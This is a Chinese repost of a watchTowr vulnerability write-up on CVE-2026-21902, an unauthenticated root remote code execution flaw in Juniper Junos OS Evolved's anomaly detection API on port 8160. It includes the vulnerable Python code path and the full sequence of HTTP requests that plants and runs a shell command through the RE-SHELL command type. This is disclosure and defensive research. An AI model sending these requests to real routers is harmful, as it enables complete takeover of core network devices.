文章总结: 文章深入分析JuniperJunosOSEvolved的CVE-2026-21902漏洞。该漏洞因设备异常检测框架错误监听在0.0.0.0:8160端口且以root权限运行导致。攻击者可构造恶意RESTAPI请求,利用RE-SHELL类型命令通过subprocess.run函数执行任意指令,实现无认证远程代码执行。该缺陷默认启用,危害极高,建议相关用户立即检查端口暴露情况并升级系统版本以修复风险。 综合评分: 94 文章分类: 漏洞分析,渗透测试,漏洞POC,网络安全
有时候,你真的能从设计中”嗅”出安全问题(Juniper Junos Evolved CVE-2026-21902 无认证RCE分析)
watchtowr watchtowr
赛博知识驿站
2026年3月4日 11:31 中国香港
Sometimes, You Can Just Feel The Security In The Design (Juniper Junos Evolved CVE-2026-21902 Pre-Auth RCE)
在今天这期”好消息伪装成其他东西”栏目中,我们将目光投向了CVE-2026-21902——一个最近披露的”关键资源权限分配错误”漏洞,影响Juniper的Junos OS Evolved平台。据称,这个漏洞仅影响Juniper的PTX系列设备。
为什么?谁~~在乎~~知道呢。
在这篇文章中,我们将深入探讨~~我们见过的最深奥、最复杂的漏洞~~”远程代码执行即服务”(很快将被GenAI颠覆)。
在你继续阅读之前,今天的博文让我们重温了在学校的时光(虽然短暂)——把”你最喜欢什么颜色”扩展成3000字的论文。
但在此之前…
什么是Juniper的PTX系列和Junos OS Evolved?
Juniper的PTX系列是一个高性能数据包传输路由器家族,专为核心网络、对等互联和大规模数据中心互连部署而设计。PTX平台构建于处理海量吞吐量、低延迟和高端口密度的能力之上,常见于服务提供商骨干网、互联网交换环境以及可靠性和规模至关重要的超大规模基础设施中。
传统上由Junos OS驱动,Juniper最近推出了Junos OS Evolved——这是其操作系统的重新架构版本,旨在使平台的内部结构现代化。与基于FreeBSD基础构建的经典Junos不同,Junos OS Evolved基于Linux架构,并采用了更模块化、容器化的设计。
什么是CVE-2026-21902?
一如既往,我们通过阅读Juniper发布的安全公告[1]开启了我们的旅程。
PTX系列上运行的Juniper Networks
Junos OS Evolved的”设备异常检测框架”中存在关键资源权限分配错误漏洞,允许未经身份验证的、基于网络的攻击者以root权限执行代码。“设备异常检测框架”应该只能通过内部路由实例被其他内部进程访问,而不应该通过外部暴露的端口访问。由于能够访问和操纵该服务以root权限执行代码,远程攻击者可以完全控制设备。请注意,此服务默认启用,无需特定配置。
根据Juniper的说法,这个在0-10酷炫度量表上得分9.8的漏洞影响PTX系列路由器上的Junos OS Evolved:
- •
Junos OS Evolved25.4版本在25.4R1-S1-EVO、25.4R2-EVO之前的版本存在漏洞 - •
Junos OS Evolved25.4R1-EVO之前的版本不受影响
我们已经有足够的线索让这成为一次有趣的探索之旅:
- • 无需身份验证
- • “应该”这个词通常相当令人兴奋,以及
- • 无需身份验证(值得说两遍)
应该、可能、会?
作为值得信赖的有感知生命体,我们想要验证被告知的现实——一个应该只监听内部路由接口的网络服务。
然而我们承认,我们的环境可能是”异常的”,所以我们在这里给Juniper一些怀疑的余地。
无论如何,当我们执行ss命令时,我们看到以下内容(看我们,格式化!):
| 协议 | 绑定IP | 端口 | 应用程序 | 描述 | | — | — | — | — | — | | TCP | 0.0.0.0 | 22 | SSH | xinetd | | TCP | 0.0.0.0 | 53 | DNS | dnsmasq | | TCP | 0.0.0.0 | 830 | NETCONF over SSH | xinetd | | TCP | 0.0.0.0 | 8160 | 设备异常检测框架 | /usr/sbin/monitor/api_server.py | | TCP | [::] | 22 | SSH | xinetd | | TCP | [::] | 53 | DNS | dnsmasq | | TCP | [::] | 830 | NETCONF over SSH | xinetd | | UDP | * | 53 | DNS | dnsmasq | | UDP | * | 123 | NTP | ntpd | | UDP | * | 161 | SNMP | snmpd | | UDP | * | 514 | Syslog | eventd | | UDP | 0.0.0.0 | 6123 | Junos NTP | jsntpd | | UDP | 0.0.0.0 | 8503 | 路由协议守护进程 | rpd |
正如我们所看到的,我们的”设备异常检测框架”正在监听8160/TCP端口,并且据称绑定到0.0.0.0。
为我们的怀疑火上浇油的是这段代码——它可能真的监听在0.0.0.0上:
port = CONFIG.get('api_server_port', 8160)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info(f'Serving HTTP on port {port}...')
httpd.serve_forever()
但同样,也许只是我们的部署环境问题。
设备异常检测框架
正如我们所看到的,”设备异常检测框架”是一个监听在8160/TCP端口的REST API,用Python构建,当然,以root权限运行(这样它才能看到所有异常)。该服务允许你定义、调度和运行复杂的监控和诊断例程,并对检测到的异常做出反应。
这据称是Juniper使用的内部服务,允许自动检测和诊断问题,如硬件故障、流量异常、协议错误等,无需外部监控系统。
随着时间的推移,目标似乎是通过上述REST API实现新的检测逻辑,这样你——这位决定购买PTX系列设备而不是豪华汽车的幸运买家——就可以”轻松”应对新威胁或运营需求。
从字面上看,几乎没有什么障碍。
本质上,据我们所知,似乎有四个关键概念:
- • Command(命令) – 要在设备上执行的命令。(是的,实际的shell命令)
- • Handler(处理器) – 处理命令的输出数据。
- • DAG(有向无环图) – 操作的工作流(命令、处理器或子DAG)。
- • DAG Instance(DAG实例) – DAG的特定、计划执行。
自带你的异常
虽然我们很想告诉你我们如何连续工作3个月,通过眼睛里的静脉注射红牛,但根据上述内容你可能已经猜到,该服务提供了RCE,我们只需要…利用它。
要做到这一点,我们只是…审查了代码…幸运的是,所有这些都可以在文件系统的/usr/sbin/monitor/中找到。
相关部分是:
- •
python3.10 /usr/sbin/monitor/anomaly_detector_main.py– 初始Python脚本,确保子Python脚本保持运行。 - •
python3.10 /usr/sbin/monitor/api_server.py– HTTP API服务器,将请求数据存储在服务器上的文件中。 - •
python3.10 /usr/sbin/monitor/intent_monitor.py– 定期检查定义的更新并更新API服务器定义。 - •
python3.10 /usr/sbin/monitor/schedule_enforcer.py– 定期执行计划的DAG实例。
异常API
鉴于我们的博客文章有100字的最低要求,我们添加了额外的细节来填充——请耐心等待。
在代码中,我们看到了一个相当”合乎逻辑”且符合预期的API实现——主要由与DAG相关的典型CRUD端点和其他此类令人兴奋的内容组成:
| 方法 | 路径 | 描述 | | — | — | — | | GET | /anomaly | 检索所有已注册的异常。 | | GET | /config/schedule/ | 获取要在组件上执行的新DAG实例。 | | GET / POST / PUT / DELETE | /config/dag/ | 检索、创建、更新或删除DAG配置。 | | GET / POST / PUT / DELETE | /config/command/ | 检索、创建、更新或删除命令配置。 | | GET / POST / PUT / DELETE | /config/handler/ | 检索、创建、更新或删除处理器配置。 | | GET / POST / PUT / DELETE | /config/dag-instance/ | 检索、创建、更新或删除DAG实例配置。 | | GET / POST | /config/commit | 验证工作区配置和现有配置的并集。如果POST时有效则保存工作区配置。 | | GET / POST | /output/dag-instance//iteration//component/re | 检索或存储RE上特定迭代的DAG实例运行输出。 | | GET / POST / DELETE | /alarm/dag-instance//component/re | 获取、存储或删除RE上DAG实例运行引发的警报。 | | POST | /anomaly/dag-instance//iteration//component/re | 注册RE上DAG实例运行引发的异常。 |
你也看到了吗?
下达命令,执行命令
缓冲缓冲缓冲,达到字数要求。让我们演示如何使用RCE API来实现RCE。
首先,我们需要创建一个要执行的命令。在这种情况下,我们执行id > /var/home/admin/watchTowr.txt。
类型RE-SHELL指示服务这是一个正则表达式,然后直接作为shell命令执行。
POST /config/command/<command-name> HTTP/1.1
Host: <hostname>
Content-Type: application/json
Content-Length: <length>
{
"syntax": "id > /var/home/admin/watchTowr.txt",
"type": "RE-SHELL",
"parsing": {
},
"outputs": {
"result": {"type": "str"}
},
"doc": ""
}
接下来,我们需要创建一个DAG来指示服务执行命令的顺序。
在这个实例中,我们有最基本版本的DAG,它只是引用我们之前的命令作为唯一要执行的命令,没有输入也没有处理器(输出解析)。
POST /config/dag/<dag-name> HTTP/1.1
Host: <hostname>
Content-Type: application/json
Content-Length: <length>
{
"start": [<action_name>],
"edges": [],
"actions": {
<action_name>: {
"command": <command_name>,
"inputs": {}
}
},
"doc": ""
}
之后,我们可以创建一个DAG实例,告诉服务何时应该执行DAG。
在我们的案例中,我们没有耐心,并且相信调度只有在你想避免某事时才有用——今天不是。
POST /config/dag-instance/<dag-instance-name> HTTP/1.1
Host: <hostname>
Content-Type: application/json
Content-Length: <length>
{
"dag": <dag_name>,
"enabled": True,
"platform": <platform>,
"target": {
"type": "RE"
},
"schedule": {
"start": <now>,
"delay": 0
},
"context": {}
}
最后,我们发送一个提交请求,将所有先前的数据存储在文件中,以便schedule_enforcer可以处理它并执行我们的命令:
POST /config/config/commit HTTP/1.1
Host: <hostname>
Content-Type: application/json
Content-Length: 0
一旦数据存储在调度器的文件中,就会执行以下schedule_enforcer代码,分解如下:
- 1.
main函数[1]检索由我们的DAG实例定义的调度。 - 2. 一旦时间检查通过,
main[1]调用execute_dag_instance[2]。 - 3.
execute_dag_instance[2]调用execute_dag[3]。 - 4.
execute_dag[3]调用run_bfs_on_dag_actions[4]。 - 5.
run_bfs_on_dag_actions[4]调用execute_command[5]。 - 6.
execute_command[5]检索在我们的命令中定义的syntax字段[6]。 - 7.
syntax值[6]直接传递给subprocess.run(command, ...)[7]。 - 8. 这导致攻击者控制的
syntax输入字符串的代码执行。
def main(): # [1]
...
schedule = api_client.get_config_schedule(component_name=f'{COMPONENT}{FPC_SLOT}')
...
thread = threading.Thread(target=execute_dag_instance, args=(...)) # [2]
...
def execute_dag_instance(api_client, ...): # [2]
...
dag_executor = Executor(...)
dag_executor.execute_dag() # [3]
...
class Executor:
def execute_dag(self): # [3]
self.run_bfs_on_dag_actions(...) # [4]
def run_bfs_on_dag_actions(self, ...): # [4]
...
if 'command' in dag_def['actions'][current_node]:
action_outputs = self.execute_command(command_id=current_node, ...) # [5]
...
#
# 命令执行函数
#
def execute_command(self, command_id, ...): # [5]
command_name = dag_def['actions'][command_id]['command']
...
#
# 通过替换输入来构建命令
#
syntax = command_def['syntax'] # [6]
...
if self.target['type'] == 'RE':
#
# 如果DAG实例在RE上执行,
# 并且如果命令类型是RE CLI命令,
# 我们需要在RE上运行命令
#
if command_def['type'] == 'RE':
component_command_mapping['re'] = f'cli -c "{syntax}"'
elif command_def['type'] == 'RE-SHELL':
component_command_mapping['re'] = syntax
raw_output_mapping = dict()
for component_name, command in component_command_mapping.items():
try:
completed_subprocess = subprocess.run( # [7]
command,
shell=True,
check=True,
stderr=subprocess.PIPE,
stdout=subprocess.PIPE
)
if completed_subprocess.returncode != 0:
raw_output = completed_subprocess.stderr.decode('utf-8')
else:
raw_output = completed_subprocess.stdout.decode('utf-8')
raw_output_mapping[component_name] = raw_output
except subprocess.CalledProcessError as e:
logging.error(f'Error executing command - ...')
结果,我们的命令在远程路由器上执行。
为了说明目的,这里是实现远程代码执行所需的HTTP流程的简化视觉概览。
演示视频
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
赛博知识驿站已关注
分享视频
,时长00:25
0/0
00:00/00:25
切换到横屏模式
继续播放
[ ]
进度条,百分之0
播放
00:00
/
00:25
00:25
倍速
全屏
倍速播放中
0.5倍 0.75倍 1.0倍 1.5倍 2.0倍
超清 流畅
继续观看
有时候,你真的能从设计中”嗅”出安全问题(Juniper Junos Evolved CVE-2026-21902 无认证RCE分析)
观看更多
转载
,
有时候,你真的能从设计中”嗅”出安全问题(Juniper Junos Evolved CVE-2026-21902 无认证RCE分析)
赛博知识驿站已关注
分享点赞在看
已同步到看一看写下你的评论
视频详情
原文:https://labs.watchtowr.com/sometimes-you-can-just-feel-the-security-in-the-design-junos-os-evolved-cve-2026-21902-rce/
检测工具:https://github.com/watchtowrlabs/watchTowr-vs-JunosEvolved-CVE-2026-21902
引用链接
[1] 安全公告: https://supportportal.juniper.net/s/article/2026-02-Out-of-Cycle-Security-Bulletin-Junos-OS-Evolved-PTX-Series-A-vulnerability-allows-a-unauthenticated-network-based-attacker-to-execute-code-as-root-CVE-2026-21902?ref=labs.watchtowr.com
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛博知识驿站 watchtowr watchtowr《有时候,你真的能从设计中”嗅”出安全问题(Juniper Junos Evolved CVE-2026-21902 无认证RCE分析)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论